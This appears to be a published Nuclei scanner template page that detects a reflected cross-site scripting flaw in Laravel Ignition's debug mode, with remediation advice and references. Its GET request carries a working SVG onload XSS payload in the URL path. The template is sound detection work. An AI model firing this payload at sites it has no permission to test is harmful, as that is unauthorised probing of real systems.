Laravel Ignition - Cross-Site Scripting

ID: laravel-ignition-xss

Severity: high

Author: 0x_Akoko

Tags: laravel,xss,ignition

Description

Laravel Ignition contains a cross-site scripting vulnerability when debug mode is enabled.

YAML Source

id: laravel-ignition-xss

info:
  name: Laravel Ignition - Cross-Site Scripting
  author: 0x_Akoko
  severity: high
  description: |
    Laravel Ignition contains a cross-site scripting vulnerability when debug mode is enabled.
  remediation: |
    Disable debug mode by setting APP_DEBUG to false.
  reference:
    - https://www.acunetix.com/vulnerabilities/web/laravel-ignition-reflected-cross-site-scripting/
    - https://github.com/facade/ignition/issues/273
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
  metadata:
    max-request: 1
  tags: laravel,xss,ignition

http:
  - method: GET
    path:
      - "{{BaseURL}}/_ignition/scripts/--><svg%20onload=alert(document.domain)>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Undefined index: --><svg onload=alert(document.domain)> in file"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 500
# digest: 4a0a004730450220720f27631e0576256f275e592ba5f79683175d7b189186dd9d116df03a932152022100910c9fbd70592d716d72ba39d5534a4c388b848642e395c3216ac52a8b4cd398:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/laravel/laravel-ignition-xss.yaml"

View on Github